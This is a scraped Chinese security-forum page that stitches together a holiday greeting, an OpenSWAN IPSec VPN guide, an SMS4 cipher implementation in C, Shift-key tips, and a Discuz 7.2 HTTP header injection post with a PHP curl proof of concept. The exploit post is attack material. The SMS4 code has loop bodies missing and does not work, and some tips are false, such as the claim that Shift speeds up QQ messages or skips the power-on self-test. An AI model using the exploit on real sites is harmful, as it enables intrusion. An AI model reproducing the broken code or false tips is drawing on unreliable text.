返回列表 发帖

非安全中国祝大家元旦佳节愉快!

5 t- R! D' e' N( g7 i
非安全中国网祝所有关注和一直支持我们的朋友元旦佳节愉快,感谢大家长期以来对我们的支持和帮助,我们的进步离不开你们鼓励,欢迎提出建议与意见!, R3 Q; b; E$ j' U
特此:我们决定佳节之际开放论坛一天,新注册用户请注意遵守相关论坛规定  q; U0 F, r' B
{:3_64:}非安全中国有你更精彩,我们进步离不开你的建议和批评。{:3_65:}; `! B* H  c7 V  g
外部联系邮箱:contact@sitedirsec.com 8 T  S5 r: ~6 E1 T( Z3 m# A
核心申请邮箱:reg@sitedirsec.com  ?8 L0 Q- C  Z. w5 H3 X
文稿投递邮箱:post@sitedirsec.com
1 Z" l/ J! h- I% {2 h% z官方网站:http://www.sitedirsec.com非安全中国网

 

您可能还想看的主题:

非安全中国网10周年T恤申请及相关事宜补充说明

非安全中国网10周年T恤申请及相关事宜通告

庆祝非安全中国网创办10周年纪念活动 t恤设计进度

好基友的一次完美信息追踪!

我的一份作业,基于BT平台的利用。初级教程。以前那个连接失效了。从新发下。

dz x3后台拿shell+webshell隐藏

基于各种原因,非安全中国网正进行秘密计划敬请期待

非安全5周年纪念 团队T恤出炉

是否支持非安全中国网5周年定制纪念T恤?

恭祝非安全中国网全体朋友龙年大吉!

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:pow78781发表,本帖发表者pow78781符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者pow78781和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

呵呵,如果我也能像话裳这样利害就好了,最佩服她了。
) W; W( h" c7 k0 R! E5 w
% k" F" S+ C( _) _
+ i& O/ Q- X- S7 C/ D- T" N/ h2 i

! v, O+ ], `1 {4 m
% q% z5 s% v& u" @; v, Q" N6 J. b- ]/ _  _' u1 J% v' m* ]* y2 H5 B

$ M" n, @1 U+ p& f+ s6 z, c7 Y% {" O. v
+ R' A8 w+ T: l9 f# V; a0 D- n' W+ `& N
9 a! X# B+ B) b: G# e9 x  l9 b
  H4 x4 p! X* e

: g6 k3 _( {) p* b* d3 d0 X1 O3 k$ S) r' N
# K$ h* n! C" G% d8 {+ ]' S

' ?. p4 |# Z; [3 M
* y. `% r4 r" R3 p& }; J- F
% g' q% a& X2 D) Q: y" k; H, y* a1 O- b
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

用OpenSWAN做Linux下的IPSec VPN的详细配置指南
用Openswan组建Linux IPSec    by toorq1.概述2.安装Openswan3.认证和配置    3.1 RSAsig认证方式的配置    3.2 x.509证书认证的配置    3.3 RoadWarrior模式的配置5.Windows客户端的配置*****1.概述    LInux上的VPN支持主要有三种:        1)IPSec 's VPN 其主要代表有 FreeS/WAN、KAME    IPSec在Linux上支持主要有两个主要的分类,一为FreeS/WAN,现在已经停止开发,其分裂为两个项目,Openswan与 Strongswan。其可以用自身的IPsec内核堆栈(Kernel stack),称为KLIPS,也可以用2.6内核中的堆栈代码(下面我们称其为26sec),可以说是非常的灵活。还有就是来自BSD世界的KAME。 KAME只能用内核堆栈。    IPSec差不多是最老的VPN标准了,她的依然很安全,当然是在配置好以后。言下之意,她的配置比较麻烦。本文下面将做说明。    2)SSL-Based VPN 其主要代表有 OpenVPN    SSL只要跑在应用层,所以理所当然的配置简单,只要机子能跑TCP或UDP就行,也可以穿过大多的防火墙。    3)PPTP-Based VPN 有(PoPTop)    PoPTop可以说是PPTP在Linux下的实现。不过,IPSec上跑L2TP更安全。2.安装Openswan        因为FreeS/WAN已经在2004年三月停止开发,所以我们使用她的后继项目Openswan来做我们的IPSec实验。其相比FreeS/WAN有个好处,如果使用 26sec 的时候,Openswan不用打补丁,就可以用nat。    因为IPSec工作在网络层,所以需要系统内核态的支持,上面说过,有两个选择,用自带(26sec)的或用Openswan(KLIPS)的,为了方便(如何打补丁和编译内核不是本文讨论的重点),本文使用2.6自带的实现代码。同时本文使用Debian Sarge作为实验系统,在Debian上安装。    #apt-get install openswan    如果你想从源码安装,到http://www.openswan.org/code下载软件包,然后按照包中的说明安装。由于我们使用26sec,所以只要make programs;make install就可以搞定。值得注意的是,现在的Openswan已经内建些个好用的补丁,比如x.509和NAT Traversal的支持,使用起来非常的方便。    你也可以用    #ipsec verify来检验你的安装3.认证和配置3.1 RSA Signature(RSA数字签名)认证的配制    Openswan支持许多不同的认证方式,包括RSA keys、pre-shared keys或x.509证书方式。RSA Signature比较简单,我先介绍下所要使用的命令    生成一个新的RSA密钥对    #ipsec newhostkey  --output /etc/ipsec.secert    按left或right格式生成RSA Sig    #ipsec showhostkey --left(或--right)    知道了上面的命令,我们就可以配置一个net-to-net,就是网关对网关的通讯。所在的Linux主机为通讯的网关,作为其子网的出口,对于子网的用户来所是透明的,远程的子网在通讯后可以像自己的局域网一样的访问。        本文使用VMWare架设起一个四台虚拟Linux主机来进行试验。因为要在不同的机子上进行配置,所以请读者认清主机名。    192.168.183.44(子网客户机,计算机名RA)    <->    192.168.49.2(Left网关主机,计算机名melin,同时eth1配置为192.168.183.1)    <->    192.168.49.3(Right网关主机,计算机名right,同时eth1配置为192.168.233.1)    <->    192.168.233.44(子网客户机,计算机名RB)    两个网关主机当然要安装好Openswan。同时用iptabels配置好NAT伪装。    然后我们运行下面的命令    //melin        #ipsec newhostkey --output /etc/ipsec.secert    #ipsec showhostkey --right >> /etc/ipsec.conf    #vi /etc/ipsec.conf //编辑ipsec.conf配置文件    #scp /etc/ipsec.conf root@right_GW_ipaddress:/etc/ipsec.conf //把ipsec.conf拷贝到right网关,目的是为了让right的到left的rsasig。    //right    #ipsec newhostkey  --output /etc/ipsec.secert    #ipsec showhostkey   --right >> /etc/ipsec.conf    #vi /etc/ipsec.conf    #scp /etc/ipsec.conf  root@left_GW_ipadress:/etc/ipsec.conf    然后分别从前启动ipsec服务    #ipsec setup restart //这个因为你的系统不同点不同    这里的编辑ipsec.conf应该为(配置文件中的#为注释,和shell中不同)    version    2.0config setup    interfaces=%defaultroute    nat_traversal=yes    conn %default    authby=rsasig    compress=yes#关掉 Opportunistic Encryptioninclude /etc/ipsec.d/examples/no_oe.confconn    net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftid=@melin    leftnexthop=%defaultroute    right=192.168.49.3    rightsubnet=192.168.233.0/24    rightid=@right    rightnexthop=%defaultroute    # RSA 2192 bits   melin   Mon May 29 03:42:49 2006    leftrsasigkey=0sAQ...(leftrsasigkey值,省略)    # RSA 2192 bits   right   Wed May 31 22:11:59 2006    rightrsasigkey=0sAQ...    auto=add然后在任意一方网关主机运行    ipsec auto --up net-to-net,这个时候,两个客户机之间应该可以互相ping的通,就像在一个内网一样。        比如在RA上可以    $ping 192.168.233.44        在ping的过程中,在任意一个网关上用tcpdump嗅探    #tcpdump -i eth0        可以看到这样的包    IP 192.168.233.44 > 192.168.183.44:icmp 64:echo request seq 10    IP 192.168.49.2 > 192.168.49.3: ESP(spi=0xeb73b78b,sed=0xa)    IP 192.168.49.3 > 192.168.49.2: ESP(spi=0x1601e0bd,sed=0xb)    可以看到两个网关已经用ESP在通讯,说明成功。    值得注意的是,如果网关主机开了iptables来做IP伪装(MASQUERADE)或NAT,需要竞争两个子网地址的转发,比如在我们例子中的Left主机上原来有    #echo 1 > /proc/sys/net/ipv4/ip_forward    #iptables -t nat -A POSTROUTING -o eth0 -s 192.168.183.0/24 -j MASQERADE    把改为    #iptables -t nat -A POSTROUTING -o eth0 -s 192.168.183.0/24 -d ! 192.168.233.0/24 -j MASQERADE    即不转发目标地址为Right主机下的子网。    另外,这一行    include /etc/ipsec.d/examples/no_oe.conf意为关闭Opportunistic Encryption在你不知道她到底做了什么之前,还是关掉她为好,打开no_oe.conf文件,发现其内容如下,我们将在本文的第五部分讨论这个话题。conn blockauto=ignoreconn privateauto=ignoreconn private-or-clearauto=ignoreconn clear-or-privateauto=ignoreconn clearauto=ignoreconn packetdefaultauto=ignore3.2 x.509证书认证的配置    x.509证书方式当然更灵活,要是VPN的客户比较多,总不能,每个都记住长长的rsasig吧。使用x.509证书认证,我们首先需要装上openssl(现在的Linux基本自带,没有的www.openssl.org下一个装上)。    1)然后,找到openssl.cnf文件,这个文件保存着对openssl证书生成的默认值,她的位置一般为:    Debian: /etc/ssl/openssl.cnf    RedHat 7.x+: /usr/share/ssl/openssl.cnf    用编辑器打开,变量名目繁多,比较有用的有    "default_days",证书失效的天数,默认一般为365天,改为3650,这样十年才过期:)。    "default_bits",密钥长度,默认为1024,你可以改为2048,更安全,当然速度也更慢……    "req_distinguished_name",默认的信息设置,如果你和我一样闲每次去生成密钥的时候去填的麻烦,就改之。    2)建一个目录来放你的CA,我们这里用/root/ca,记的把他的权限设置为700,你不希望其他用户可以看到你的私钥吧。    3)找到"CA.sh"脚本的位置,在不同系统上稍有不同    Debian: /usr/lib/ssl/misc/CA.sh    RedHat 7.x+: /usr/share/ssl/misc/CA    编辑她,把DAYS="-days 365"的365改成你希望的数值,注意要比openssl.cnf中的"default_days"要大,当时也不要太大,一般为15年到20年就好了。    4)生成证书    ~/ca$/usr/lib/ssl/misc/CA.sh -newca ;生成一个待签名的根证书,用她来给其他证书进行签名认证。默认生成在demoCA目录下的cacert.pem文件(在openssl.cnf中的 CA_default子段设置)下。输入的密码为用来生成其他证书的密码。-sign的时候用。    ~/ca$openssl ca -gencrl -out crl.pem 生成一个与根证书相对应的crl文件    然后开始生成给主机用的证书    ~/ca$/usr/lib/ssl/misc/CA.sh -newreq 生成待签名认证的证书,默认名字为newreq.pem,输入的密码用在填些/etc/ipsec.secrets中。    ~/ca$/usr/lib/ssl/misc/CA.sh -sign 对证书进行签名认证,默认名字为newcert.pem    ~/ca$/usr/lib/ssl/misc/CA.sh -verify 认证一下    然后重命名文件    ~ca$mv newcert.pem melin.pem    ~ca$mv newreq.pem melin.key //别搞反了,小的那个文件是key:),另外如果要生成的主机证书,填入的信息相同可能出错    用同样的方法生成right.pem和right.key文件。这样我们就有了同样的根证书生成的两个证书文件。    把文件拷贝到相应的位置:    在Left主机主机上    melin:~/ca#cp melin.key /etc/ipsec.d/private    melin:~/ca#cp melin.pem /etc/ipsec.d/certs    melin:~/ca#cp demoCA/cacert.pem /etc/ipsec.d/cacerts    melin:~/ca#cp crl.pem /etc/ipsec.d/crls/crl.pem    用安全的渠道(scp或软盘,别用ftp)把一下文件拷贝到right上    melin.pem    right.key    right.pem    demoCA/cacert.pem    crl.pem    也拷贝到正确的地方    melin#cp right.key /etc/ipsec.d/private    melin#cp right.pem /etc/ipsec.d/certs    melin#cp melin.pem /etc/ipsec.d/certs    melin#cp crl.pem /etc/ipsec.d/crls    melin#cp cacert.pem /etc/ipsec.d/cacerts/cacert.pem        5) 配置ipsec    首先是/etc/ipsec.secrets加上    : RSA /etc/ipsec.d/private/right.key "password"    password就是生成主机密钥的时候输入的密码    这里有几个密码要搞清楚,在生成根证书的时候输入密码是用来生成其他证书的,CA.sh -sign的时候要填入,ipsec.secrets填入的密码是CA.sh -newreq时候输入的密码。    然后当然就是/etc/ipsec.conf在本例子中的ipsec.conf分别为#Left(melin)version 2.0config setup    interfaces=%defaultroute    nat_traversal=yesconn %default    authby=rsasig    compress=yes    leftrsasigkey=%cert    rightrsasigkey=%cert    keyingtries=1    disablearrivalcheck=noinclude /etc/ipsec.d/examples/no_oe.confconn net-to-net    left=%defaultroute    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%any    rightsubnet=192.168.233.0/24    pfs=yes    auto=add#Right(right)version 2.0config setup    interfaces=%defaultroute    nat_traversal=yesconn %default    authby=rsasig    compress=yes    leftrsasigkey=%cert    rightrsasigkey=%cert    keyingtries=1    disablearrivalcheck=noinclude /etc/ipsec.d/examples/no_oe.confconn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%defaultroute    rightsubnet=192.168.233.0/24    rightcert=right.pem    pfs=yes    auto=add    然后分别重新启动IPSec服务    #ipsec setup restart    在right上启动连接    #ipsec auto --up net-to-net        如果一切正确,两个子网之间就可以互相通讯了。3)RoadWarrior模式的配置    上面我们做的是网关对网关的配置,我们在应用中还有一种情况,员工带着比较本出差或在家,需要用IPSec连接到公司的网络。这个就是RoadWarrior模式。    我们回到1)中RSA Keys配置的例子,在两台主机上添加这样的配置字段#RoadWarrior,Road的机子,比如到处带着跑的笔记本,我们这里用rightconn road    left=192.168.49.3 #如果是动态ip地址,可以填上%defaultroute    leftnexthop=%defaultroute    leftid=@melin    leftrsasigkey=0sAQ... #本机的RSA Key    right=192.168.49.2    rightsubnet=192.168.183.0/24    rightid=@right    rightrsasigkey=0sAQO... #远程机子的RSA Key    auto=add                      #############################Host 主机,我们这里用melinconn road    left=192.168.49.2    leftid=@melin    leftsubnet=192.168.183.0/24    leftrsasigkey=0sAQ...    rightnexthop=%defaultroute    right=%any #不知道要传入的连接,所以用%any    rightid=@right    rightrsasigkey=0sAQ...    auto=add可以看出,RoadWarrior模式和Net-to-Net模式配置的区别,关键就是在于net-to-net模式Left和Right是相同的,通讯的主机处于固定的位置上,而RoadWarrior配置,Left就是自己(Local),Right就是远程主机(Remote)。所以看上去,两个的 Left和Right值是相反的。这个是配置的关键。然后在RoadWarrior的主机上运行    ipsec auto --up road更改配置文件后记的要#ipsec setup restart重启Openswan Pluto。接着就可以在right主机上ping到melin下的内网了    right$ping 192.168.183.44同样的可以在melin上    melin#tcpdump -i eth0看到ESP包的交换下面我们回到使用证书的net-to-net例子细心的读者可以发现,在证书的例子配置中,melin主机的right字段是用的是%any,整个配置类似于RoadWarrior的配置,可是又不同,实际上,这个仍然是net-to-net的配置。也可以把配置写成这样。#Left(melin)conn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=192.168.49.3    rightsubnet=192.168.233.0/24    pfs=yes    auto=add#Right(right)conn net-to-net    left=192.168.49.2    leftsubnet=192.168.183.0/24    letcert=melin.pem    right=192.168.49.3    rightcert=right.pem    pfs=yes    auto=add不过,如果是这样的net-to-net的配置,就需要把right.pem也拷贝到melin主机的/etc/ipsec.d/certs目录下。可以看出来,ipsec.conf的配置是非常灵活的。下面我们给出使用RoadWarrior和使用证书的配置#RoadWarrior(right)conn road    left=192.168.49.3(如果为动态ip,用%defaultroute)    leftcert=right.pem    right=192.168.49.2    rightsubnet=192.168.183.0/24    rightcert=melin.pem    pfs=yes    auto=add#Host(melin)conn road    left=192.168.49.2    leftsubnet=192.168.183.0/24    leftcert=melin.pem    right=%any    pfs=yes    auto=add使用上面的配制后会发现一个问题,在right主机上    right#ping 192.168.183.44    right#ping 192.168.183.1    是加密通讯    可是    right#ping 192.168.49.2(如果是在Internet,这个为主机在Internet上的ip)    却是明文通讯,实际上,我们上面的RoadWarrior配置是让RoadWarrior主机和网关做在的局外通讯,如果要加密和网关的通讯,可以这么写#RoadWarrior(right)conn road-net    rightsubnet=192.168.183.0/24    also=roadconn road    left=192.168.49.3(如果为动态ip,用%defaultroute)    leftcert=right.pem    right=192.168.49.2    rightcert=melin.pem    pfs=yes    auto=add#Host(melin)conn road-net    leftsubnet=192.168.183.0/24    also=roadconn road    left=192.168.49.2    leftcert=melin.pem    right=%any    pfs=yes    auto=add在right上分别启动right#ipsec auto --up roadright#ipsec auto --up road-net另外可以用ipsec auto status查看连接的状态。如果想让连接在开机就启动,可以把auto字段改为start。5.Windows客户端的配置    让windows客户端可以连接上Linux的IPSec网关是很有用的,毕竟桌面还是Windows比较的多。    1)当然是让Openswan的主机运行正常运行起来,我们这里使用,上文最接近的那个road和road-net配置。同时要注意Windows的IPSec服务已经运行。    2)生成证书        生成新的主机密钥对win.pem和win.key,然后,我们需要把她转化成Windows可以识别的p12格式:~/ca$ openssl pkcs12 -export -in win.pem -inkey win.key -certfile demoCA/cacert.pem -out win.p12获得根证书的信息,记下来,下面要用到subject= /C=CN/ST=Fujian/L=Xiamen/O=Jimei University/OU=Chengyi College/CN=jianqiu/emailAddress=jianqiu414@stu.jmu.edu.cn    3)所需工具http://vpn.ebootis.de/package.zip下载Marcus Müller的ipsec.exe工具,解压到一个目录中,本例使用d:ipsec~/ca$ openssl x509 -in demoCA/cacert.pem -noout -subject得到如下的信息        4)创建需要的控制台    运行mmc->添加删除管理单元->添加->IP安全策略管理->选择本地计算机->完成;    添加删除管理单元->添加->证书->计算机账户->本地计算机->完成。    5)添加证书    在刚才我们新建的工作台的证书上,选择个人->所以任务->导入,然后把win.p12导入即可。    6)安装IPSec工具    首先需要安装ipsecpol.exe(Windows 2000)或ipseccmd.exe(Windows XP,在Windows安装光盘的UPPORTTOOLS目录下,setup选择完全安装),在http://support.microsoft.com/default.aspx?scid=kb;en-us;838079还有一片关于XP SP2的这些个附加工具的说明。    随后编辑d:ipsecipsec.conf文件,把我们上面得到的证书的信息填入rightca,也可以用mmc的证书页面查看,编辑好的ipsec.conf看起来是这个样子的。conn roadwarrior    left=%any    right=192.168.49.2    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yesconn roadwarrior-net    left=%any    right=192.168.49.2    rightsubnet=192.168.183.0/44    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yes如果,你想要加密所有和192.168.49.2的连接conn roadwarrior-all    left=%any    right=192.168.49.2    rightsubnet=*    rightca="C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Chengyi College,CN=jianqiu,E=jianqiu414@stu.jmu.edu.cn"    network=auto    auto=start    pfs=yes注意rightca不要写错,可以通过我们刚才的控制台,依次打开,“IP安全策略,在本地计算机”->FreeSwan-> “roadwarrior-Host filter list”->“身份验证方法”->“使用由此证书颁发机构(CA)颁发的证书”里的字段。然后到d:        ools目录下,运行ipsecIPSec Version 2.2.0 (c) 2001-2003 Marcus MuellerGetting running Config ...Microsoft's Windows XP identifiedUsage: Ipsec [-off] [-delete] [-debug] [-nosleep]D:Toolsipsec>ipsecIPSec Version 2.2.0 (c) 2001-2003 Marcus MuellerGetting running Config ...Microsoft's Windows XP identifiedSetting up IPSec ...        Deactivating old policy...        Removing old policy...Connection roadwarrior:        MyTunnel     : 192.168.49.1        MyNet        : 192.168.49.1/255.255.255.255        PartnerTunnel: 192.168.49.2        PartnerNet   : 192.168.49.2/255.255.255.255        CA (ID)      : C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Cheng...        PFS          : y        Auto         : start        Auth.Mode    : MD5        Rekeying     : 3600S/50000K        Activating policy...Connection roadwarrior-net:        MyTunnel     : 192.168.49.1        MyNet        : 192.168.49.1/255.255.255.255        PartnerTunnel: 192.168.49.2        PartnerNet   : 192.168.183.0/255.255.255.0        CA (ID)      : C=CN,S=Fujian,L=Xiamen,O=Jimei University,OU=Cheng...        PFS          : y        Auto         : start        Auth.Mode    : MD5        Rekeying     : 3600S/50000K        Activating policy...d:ipsec>ping 192.168.49.2看到Negotiating IP Security.后有回复,说明连接成功。如果ipsec工具在你的系统上运行有问题,请确认你的rightca有没有填错。也可以尝试到sourceforge.net下载Linsys IPSec Tool项目的lsipsectool.exe。另外,如果系统是Windows XP SP2,还要注意NAT-T的问题。具体Windows运行IPsec客户端的注意事项可以查阅http://wiki.openswan.org/index.php/Win2K。
4 T0 e! }& L0 J8 P8 W3 X' d8 Y$ X2 F; e  C, F' M
: ~- ^0 M; B) Y: w2 W

0 Y7 a; q5 }6 a9 ?- c9 |, @; S" d2 \. B0 e
, j! P# K; N2 j/ _% ]! Q" J

: {4 j6 A' a/ n5 i' K) H- ~" |9 A3 ]5 o2 t
! L! q! }. U/ v* r$ A. C  v
- [; h2 I; V) w5 T) L0 \
2 m2 k$ V4 x! _% g& A1 B

  `+ Q5 I1 |* U6 D. P5 h, W+ O7 M+ {: r) j1 ]4 K

- v5 U" {# Q. W# G4 Y
1 T2 T& L6 r6 @( P4 s/ K  |8 S1 y9 M0 W  E) B

5 m" G9 A( f/ h5 k
1 u# U  q% A& V0 i; c3 K$ I2 B
7 {* @6 C  c9 i0 W5 i; Q9 I1 u8 k4 _公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

SMS4算法的一个实现
本人一直关注WAPI标准.对SMS4算法进行研究,并写了一个算法的实现,能够进行SMS4加密.供有兴趣者参考.本人一直关注WAPI标准.对SMS4算法进行研究,并写了一个算法的实现,能够进行SMS4加密.供有兴趣者参考./**This program is about the sms4 algorithm.*Author:Super Peng *Email:comboy758@163.com*Date:2006-3-31*Addr:Institute of plasma physics of Chinese academy of science**Note: This program is just for self-interest of Encryption technology not for commercial fields.*Any question can be sent to my email.*/#include /*S-Box Table*/unsigned char SBOX[16][16] = {{0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05},{0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99},{0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62},{0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6},{0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8},{0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35},{0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87},{0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e},{0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1},{0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3},{0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f},{0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51},{0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8},{0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0},{0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84},{0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48}};/*System constant value table*/unsigned int FK[4] = {0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc};/*Constant value table*/unsigned int CK[32] ={0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279};/*Text*/unsigned char chNumber[16] = {0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};/*Encryption key*/int MK[4]={0x01234567,0x89abcdef,0xfedcba98,0x76543210};/**Left shift iBits of the integer.*/int RotaryLeftShift(unsigned int uiNumber, int iBits){int i;int iResult;iResult = 0;for(i = 0; i 0; i--){chNumbers[i-1] =(unsigned char)(iMask &amp; iA);iA >>= 8;}return chNumbers;}/**Get the S-Box value by checking up the constant table.*/unsigned int SBoxChar(unsigned char A[]){unsigned char chHighMask = 0xf0;unsigned char chLowMask = 0x0f;unsigned int iResult;iResult = 0;int i;int iX,iY;for(i = 0; i >= 4;iY = A &amp; chLowMask;iResult >= 8;}// for(i = 0; i 31; i--){printf("%08X",i,iXA);}for(i = 1; i 31; i--){printf("%08X",i,iXA);}return 0;}
1 e& a+ g# {/ `. e' ]
9 e/ [& d" ?8 v$ c3 y. X* q
# W) K* A3 w8 g3 m
! a2 v, h# [' r3 _0 w1 {& i. Q
' W/ v: K9 \4 z# f5 d4 y" ]5 w: L3 p" f  Q) h8 Z1 U$ ~) ^  b

  ?/ ?6 R/ m3 m4 D: }. ?3 l- K9 S' |1 t

5 }$ [, Q) q: W1 j; R; M7 K5 O: X/ u

/ s, @4 L1 ~0 ^3 W6 |+ ]% z
5 R+ a2 q  Q0 T" X# @2 X3 k6 g  r- S! |
. G* d% S& r! _, r+ I

' P5 R8 R( M7 c; q- y6 @# Y
. B) }5 @4 P/ k5 F
" b. v4 J5 A2 M; h7 h: g9 F8 Y- |: c3 z

' w! q& q& m7 d公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

shift键使用技巧
一 当你用QQ和别人聊天时,是不是有时信息发送的特别慢呀,不要紧,只要你发信息时按shift 键信息就会很快的发送出去的!
. x) a6 {  b2 G, G" R, |( A
二 当你面对一大堆窗口,却要一个一个把它们关掉时。是不是很烦啊。只要你按shift 键在单击关闭按扭,所以的窗口就会全部关掉。
& }! A  c5 y! D2 ]- _+ `4 y: E
三 在输入大小写字母时,按shift 键,就可以改变其大小写!

3 Q$ ]4 m2 o% ^7 x1 M
四 当安装了某个新软件,有时要从新启动计算机才有用,只要先按shift 键,就可以跳过计算机的自检节省了大量的时间!
6 x* B8 a3 e5 B' V1 l* j; M% \/ H2 x. t
五 选择文件时,先按shift 键,在选最后一个文件,可以选中一大批。
7 a4 k  |- \8 ?  q, \
六 删除文件时,按shift 键可以直接删除。不经过回收站。
, }9 p- |7 c% c+ M' u, q
七 放光碟时,连按数下shift 键,可以跳过自动播放!

1 J" X6 B4 \4 \- w' |+ J
八 按shift 键+F10可以代替鼠标右键。

0 n) }# A( q1 W9 V0 R" |( l
九 打开文件时,如果你不想用默认方式打开,按shift 键,在单击右键,在右边的菜单上就多出了打开方式下面的你就自己去做吧!

; [1 w9 v/ f- x7 B% Q4 [  b. T' L  e* z" e

6 r% v# v1 v$ h/ Z/ H7 E  c2 ?; l& e' f0 `5 A
3 c+ _4 w7 }  _- ^

  Y& B, b8 @$ M( k
" o5 {. W5 v  Z, B/ ]* S# y
% @0 q' j' G- Z1 V
" }' K) h3 M8 N3 e3 Q
" v# q8 j# T. ]+ `% }. c" {
7 N) J  P  x' Z! d: }8 j7 t! _! i, _# h( ]! c2 J

. O4 u# s3 T2 ]9 {" z: @$ k! K
0 f' M* r; [/ R+ E" [# M0 `+ P1 G$ t& N+ p

0 A4 i2 q& `5 W7 c$ {, v' n) g! ?, w1 k$ ^
# J1 f- ?" _" G! L, y6 T! g8 n0 c+ L
; M/ B' G4 @  _: |% E
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

dz7.2 HTTP 头注入漏洞
dz7.2 HTTP 头注入漏洞 20107/7/,dz7.2 header injection vulnerability 20107/7/。 image.php:header  header(location: .$boardurl.$thumbfile); $boardurl = htmlspecialchars(http://.$_SERVER[HTTP_HOST].preg_replace(//+(api|archiver|wap)?/*$/i  substr($PHP_SELF 0 strrpos($PHP_SELF /)))./); $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $PHP_SELF = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME]; $thumbfile = forumdata/imagecaches/.$aid._.$w._.$h..jpg; $aid = intval($_GET[aid]); $w = intval($w); list($w $h) = explode(x $_GET[size]); $h = intval($h); list($w $h) = explode(x $_GET[size]);requires:if(!$nocache) { if(file_exists($thumbfile)) {POC:#!/usr/bin/php -f  <?php  #  # image.php curl exploit  # bincker/2010/7/7/ t00ls.net      general settings:  URL:    COOKIEJAR:    Max Exec Time:  (s)   SSL:  BasicAuth:    $_SERVER parameter:   You can taint $_SERVER[PHP_SELF] by editing the target URL.           //   // HTTP SERVER    //     $target = $argv[1];    $ch = curl_init();  curl_setopt($ch CURLOPT_RETURNTRANSFER1);  curl_setopt($ch CURLOPT_URL http://$target/image.php);  curl_setopt($ch CURLOPT_USERAGENT Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0));  curl_setopt($ch CURLOPT_TIMEOUT 3);  curl_setopt($ch CURLOPT_LOW_SPEED_LIMIT 3);  curl_setopt($ch CURLOPT_LOW_SPEED_TIME 3);  curl_setopt($ch CURLOPT_COOKIEJAR /tmp/cookie_$target);  $buf = curl_exec ($ch);  curl_close($ch);  unset($ch);    echo $buf;    ?>) n: f  x9 k' c& ^8 Z
